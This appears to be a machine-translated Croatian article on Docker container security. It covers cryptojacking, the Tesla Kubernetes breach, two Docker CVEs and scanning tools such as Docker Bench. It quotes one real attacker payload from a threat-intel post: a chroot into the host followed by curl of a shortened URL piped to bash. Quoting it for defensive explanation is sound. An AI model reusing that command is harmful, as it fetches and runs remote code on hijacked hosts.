Kontejnerizacija omogućuje inženjerskim timovima da stvore okruženje u kojem se mogu pokretati i testirati aplikacije. Spremnici se uglavnom sastoje od slika otvorenog koda povučenih iz čvorišta dockera ili drugih javnih spremišta slika.
Ali ove slike otvorenog koda mogu ponekad sadržavati ranjivosti koje mogu ugroziti sigurnost spremnika i zauzvrat njegovo računalo / poslužitelj.
Budući da se ti spremnici izvode na glavnom računalu, moguće je ugrabiti spremnike u proizvodnji ako ostanu nezaštićeni.
Dobar primjer takvog hakiranja je Teslin kripto-dizalni napad na nezaštićeni Kubernetesov klaster. U ovom napadu napadači su mogli preuzeti i pokrenuti zlonamjernu skriptu za rudarenje kriptografije pomoću GPU-ova koje je osigurao Teslin klaster K8s (Kubernetes). Uspjeli su zadržati ovaj napad ispod radara tako što su smanjili upotrebu CPU-a i pokrenuli skriptu u određenim vremenskim intervalima.
Tijekom ovog članka pogledat ćemo uobičajene ranjivosti spremnika i moguće načine za njihovo uklanjanje.
Uobičajene ranjivosti spremnika i kako ih popraviti
Operativni inženjeri koriste spremnike za pakiranje i razmještanje softvera / aplikacija u zatvorenom i kontroliranom okruženju.
Kako bi se izbjeglo ponovno izmišljanje kotača i ubrzalo vrijeme izlaska na tržište, uvlače se već postojeće slike otvorenog koda kako bi se zadovoljile ovisnosti potrebne za pokretanje softvera. Te slike često sadrže određene ranjivosti zbog kojih su cijeli spremnik i njegov domaćin osjetljivi na zlonamjerne napade.
U nastavku su navedene neke uobičajene ranjivosti i izloženosti spremnika, kao i načini njihovog ublažavanja.
Cryptojacking
Cryptojacking je vrsta napada u kojem se zlonamjerna skripta koristi za krađu računarskih resursa uređaja za rudarstvo kriptovaluta.
Nedavno je na Dockeru otkrivena ranjivost s rječničkim unosom CVE-2018-15664. Ova ranjivost omogućuje napadačima pristup root pristupu računalu domaćina.
Osim što mogu koristiti CPU i GPU resurse računala hosta za miniranje kriptografije, napadači mogu ukrasti i osjetljive vjerodajnice, izvoditi DoS napade, pokretati phishing kampanje i još mnogo toga.
Kontejneri mogu biti podložni kriptoizlaganju ako sadrže zlonamjerne slike koje napadačima daju korijenski pristup cijelom spremniku. Također su ranjivi ako su krajnje točke API-ja za docker spremnik javno dostupne na Internetu bez lozinki ili sigurnosnih zaštitnih zidova, kao u slučaju Tesle.
Otkrivena je oportunistička aktivnost masovnog skeniranja koja cilja izložene krajnje točke API-ja Docker.
Ova skeniranja stvaraju spremnik pomoću Alpine Linux slike i izvršavaju korisni teret putem:
"Naredba": "chroot / mnt / bin / sh -c 'curl -sL4 //t.co/q047bRPUyj | bash;'", # prijetnjaintel pic.twitter.com/vxszV5SF1o
- Izvještaj o lošim paketima (@bad_packets) 25. studenog 2019Zlonamjerne slike otvorenog koda
Ranjivost koja omogućava prepisivanje hostc-ovog runc binarnog programa daje napadačima slobodu za izvršavanje naredbi s root pristupom. Docker motori koji prethode v18.09.2 čine spremnike sa slikama kontroliranim napadačima osjetljivim na ranjivost CVE-2019-5736.
Inženjerima se savjetuje što je više moguće da koriste službene Dockerove slike koje nudi docker. Napokon, postoji čak i tim sponzoriran od strane Dockera koji usko surađuje s održavačima softvera / izdavačima i sigurnosnim stručnjacima kako bi osigurao sigurnost službenih Dockerovih slika.
Statički Dockerfilovi
Jedno od načela spremnika je da je slika nepromjenjiva. To znači da je slika kad se izgradi njezin sadržaj nepromjenjiv. To samo po sebi stvara ranjivosti koje proizlaze iz zastarjelih paketa / knjižnica / slika sadržanih u slici.
Stoga je dobra ideja uključiti skenere ranjivosti u CI / CD procese kako bi se identificirale ranjive slike spremnika. Budući da su slike nepromjenjive, izbacivanje novoizgrađenog spremnika s ažuriranim ovisnostima pomoći će u suzbijanju sigurnosnih ranjivosti jer se zakrpanje spremnika obeshrabruje.
Kako pronaći ranjivosti spremnika
U prethodnom smo odjeljku pogledali moguće načine na koje se ranjivosti mogu uvući u spremnike dockera.
Pronalaženje ranjivosti u našim spremnicima prije nego što dospije u proizvodnju pomoći će izbjeći moguće narušavanja sigurnosti i udaljiti zlonamjerne napadače.
Kao što kažu - unca prevencije vrijedi pola kilograma lijeka.U ovom ćemo odjeljku pogledati moguće načine na koje možete biti ispred ranjivosti spremnika.
Korištenje Dockerove klupe za sigurnost
Docker bench za sigurnost skripta je koja testira sve spremnike dockera na glavnom računalu / poslužitelju za najbolje primjere za primjenu spremnika u proizvodnji. Ovi testovi temelje se na CIS referentnoj vrijednosti.
Za probno pokretanje možete povući docker/docker-bench-securitysliku i testirati postojeće spremnike na vašem lokalnom stroju na sljedeći način:
docker run -it --net host --pid host --userns host --cap-add audit_control \ -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ -v /etc:/etc:ro \ -v /usr/bin/docker-containerd:/usr/bin/docker-containerd:ro \ -v /usr/bin/docker-runc:/usr/bin/docker-runc:ro \ -v /usr/lib/systemd:/usr/lib/systemd:ro \ -v /var/lib:/var/lib:ro \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ --label docker_bench_security \ docker/docker-bench-securityNapomena : ova naredba ne radi dobro u OSX-u. Pojedinosti potražite u ovom izdanju GitHub-a.
Traženje ranjivosti u GCR-u
Spremišta slika Docker (na primjer, GCR) omogućuju inženjerima pokretanje skeniranja ranjivosti za slike u registru spremnika.
Da biste omogućili skeniranje ranjivosti u GCR-u (Googleov registar spremnika), prijeđite na postavke registra spremnika na Googleovoj konzoli u oblaku i kliknite "omogući skeniranje ranjivosti" na sljedeći način:
Kada se završi skeniranje ranjivosti, vidjet ćete rezultat kao na slici ispod ako ranjivosti postoje:
Korištenje Enterprise-Grade Solutions
Postoje sigurnosni paketi za kontejnerizaciju za poduzeća koji upravljaju ranjivostima i provode politike implementacije tijekom životnog ciklusa spremnika.
Osim toga, ovaj se paket proizvoda također neprimjetno integrira s popularnim CI / CD alatima i registrima spremnika. To mu omogućuje pružanje implementacija bez rizika, kao i upravljanje spremnicima od kraja do kraja, od implementacije do proizvodnje.
Zaključak
Spremnici omogućuju inženjerskim timovima neometano uvođenje softvera. Međutim, ova jednostavnost dolazi po cijenu sigurnosti.
Posljednjih je godina zabilježeno nekoliko CVE-a (česta izloženost ranjivosti) u docker spremnicima. Neki od njih su riješeni u nedavnim ažuriranjima docker-enginea, a ostatak je obećan u budućim izdanjima zakrpa.
Inženjerski timovi trebali bi imati na umu sigurnost prilikom izrade i postavljanja kontejnera. Oni bi također trebali provoditi sigurnosne politike spremnika u svojim životnim ciklusima DevOpsa.